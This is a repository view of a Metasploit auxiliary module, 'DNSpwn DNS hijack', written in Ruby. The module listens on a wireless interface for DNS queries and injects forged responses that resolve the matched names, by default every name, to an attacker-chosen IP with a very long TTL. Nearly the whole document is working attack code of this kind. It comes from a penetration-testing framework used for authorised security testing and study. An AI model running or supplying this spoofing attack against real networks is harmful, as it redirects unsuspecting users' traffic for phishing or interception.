Statistics
| Branch: | Tag: | Revision:

root / modules / auxiliary / spoof / wifi / dnspwn.rb @ master

History | View | Annotate | Download (3.5 kB)

1
##
2
# $Id$
3
##
4

    
5
##
6
# This file is part of the Metasploit Framework and may be subject to
7
# redistribution and commercial restrictions. Please see the Metasploit
8
# Framework web site for more information on licensing and terms of use.
9
# http://metasploit.com/framework/
10
##
11

    
12
require 'msf/core'
13
require 'yaml'
14
require 'net/dns/packet'
15

    
16
class Metasploit3 < Msf::Auxiliary
17

    
18
        include Msf::Exploit::Capture
19
        include Msf::Exploit::Lorcon2
20
        include Msf::Auxiliary::Report
21

    
22
        def initialize
23
                super(
24
                        'Name'        => 'DNSpwn DNS hijack',
25
                        'Version'     => '$Revision$',
26
                        'Description'    => %q{
27
                                Race DNS responses and replace DNS queries
28
                        },
29
                        'Author'      => ['dragorn'],
30
                        'License'     => MSF_LICENSE
31
                )
32

    
33
                register_options(
34
                        [
35
                                OptPath.new('DNSLIST',          [ false, "YAML file of DNS entries for replacement",
36
                                                File.join(Msf::Config.install_root, "data", "exploits", "wifi", "dnspwn", "dnslist.yml")
37
                                        ]),
38
                                OptBool.new('USEDNSFILE', [ true, "Use dns list file for response", "false"]),
39
                                OptString.new('FILTER',          [ true, "Default BPF filter", "port 53"]),
40
                                OptString.new('IP',                  [ true, "IP for host resolution", "1.2.3.4" ]),
41
                                OptString.new('DURATION', [ true, "Duration of spoofed IP record", "99999" ]),
42
                                OptString.new('MATCH',          [ true, "Match for DNS name replacement", "(.*)"]),
43
                        ], self.class)
44
        end
45

    
46
        def run
47

    
48
                @dnslist  = datastore['DNSLIST']
49
                @regex    = datastore['MATCH']
50
                @response = datastore['IP']
51
                @filter          = datastore['FILTER']
52
                @duration = datastore['DURATION']
53
                @useyaml  = datastore['USEDNSFILE']
54

    
55
                @dns = []
56

    
57
                if @useyaml
58
                        begin
59
                                @dns = YAML::load_file(@dnslist)
60
                        rescue ::Exception => e
61
                                print_error "DNSPWN: failed to parse YAML file, #{e.class} #{e} #{e.backtrace}"
62
                        end
63
                else
64
                        @dns[0] = { "regex" => @regex, "response" => @response, "duration" => @duration }
65
                end
66

    
67
                @run = true
68

    
69
                open_wifi
70

    
71
                self.wifi.filter = @filter if not @filter.empty?
72
                each_packet do |pkt|
73
                        d3 = pkt.dot3
74

    
75
                        next if not d3
76
                        p = PacketFu::Packet.parse(d3) rescue nil
77
                        next unless p.is_udp?
78

    
79
                        dns = Net::DNS::Packet::parse(p.payload) rescue nil
80
                        next unless dns
81

    
82
                        next if dns.answer.size != 0
83
                        next if dns.question.size == 0
84

    
85
                        @dns.each do |r|
86
                                hit = nil
87
                                r['regex'].each do |reg|
88
                                        hit = dns.question[0].qName.scan(/#{reg}/) || nil
89
                                        break if hit.size != 0
90
                                end
91
                                next if hit.size.zero?
92

    
93
                                print_status("DNSPWN: %s -> %s req %s transaction id %u (response %s)" % [p.ip_saddr, p.ip_daddr, dns.header.id, r["response"] ])
94

    
95
                                injpkt = Lorcon::Packet.new()
96
                                injpkt.bssid = pkt.bssid
97

    
98
                                response_pkt = PacketFu::UDPPacket.new
99
                                response_pkt.eth_daddr = p.eth_saddr
100
                                response_pkt.eth_saddr = p.eth_daddr
101
                                response_pkt.ip_saddr = p.ip_daddr
102
                                response_pkt.ip_daddr = p.ip_saddr
103
                                response_pkt.ip_ttl = p.ip_ttl
104
                                response_pkt.udp_sport = p.udp_dport
105
                                response_pkt.udp_dport = p.udp_sport
106

    
107
                                dns.header.qr = 1
108
                                dns.answer = Net::DNS::RR::A.new("%s %s IN A %s", dns.question[0].qName, r["duration"], r["response"])
109

    
110
                                response_pkt.payload = dns.data
111
                                response_pkt.recalc
112

    
113
                                injpkt.dot3 = response_pkt.to_s
114

    
115
                                if (pkt.direction == Lorcon::Packet::LORCON_FROM_DS)
116
                                        injpkt.direction = Lorcon::Packet::LORCON_TO_DS
117
                                elsif (pkt.direction == Lorcon::Packet::LORCON_TO_DS)
118
                                        injpkt.direction = Lorcon::Packet::LORCON_FROM_DS
119
                                else
120
                                        injpkt.direction = Lorcon::Packet::LORCON_ADHOC_DS
121
                                end
122

    
123
                                self.wifi.inject(injpkt) or print_error("DNSPWN failed to inject packet: " + tx.error)
124
                        end
125
                end
126
        end
127
end